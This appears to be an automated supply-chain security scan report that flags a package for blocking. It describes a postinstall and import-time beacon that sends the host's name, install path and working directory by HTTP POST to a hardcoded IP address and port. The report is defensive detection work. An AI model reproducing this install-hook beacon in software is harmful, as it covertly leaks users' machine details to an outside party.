AI Security Review
scanned 2h ago · by lpm-firewall-aiThe lifecycle hook activates an automatic disclosure of host and project identifiers to a hardcoded external recipient. This supports blocking the package as data exfiltration.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The recipient receives identifying details about the machine and package installation without a source-level consent guard.
Mechanism
The postinstall hook and import path call a beacon that collects machine and project metadata and sends it by HTTP POST to 185.158.107.175:8787.
Attack narrative
Installation runs the beacon automatically, and importing the package invokes it again. The beacon sends the machine hostname, installation path, and working directory to a hardcoded external address; the inspected source provides no consent guard for this disclosure.
AI rationale
The lifecycle hook activates an automatic disclosure of host and project identifiers to a hardcoded external recipient. This supports blocking the package as data exfiltration.
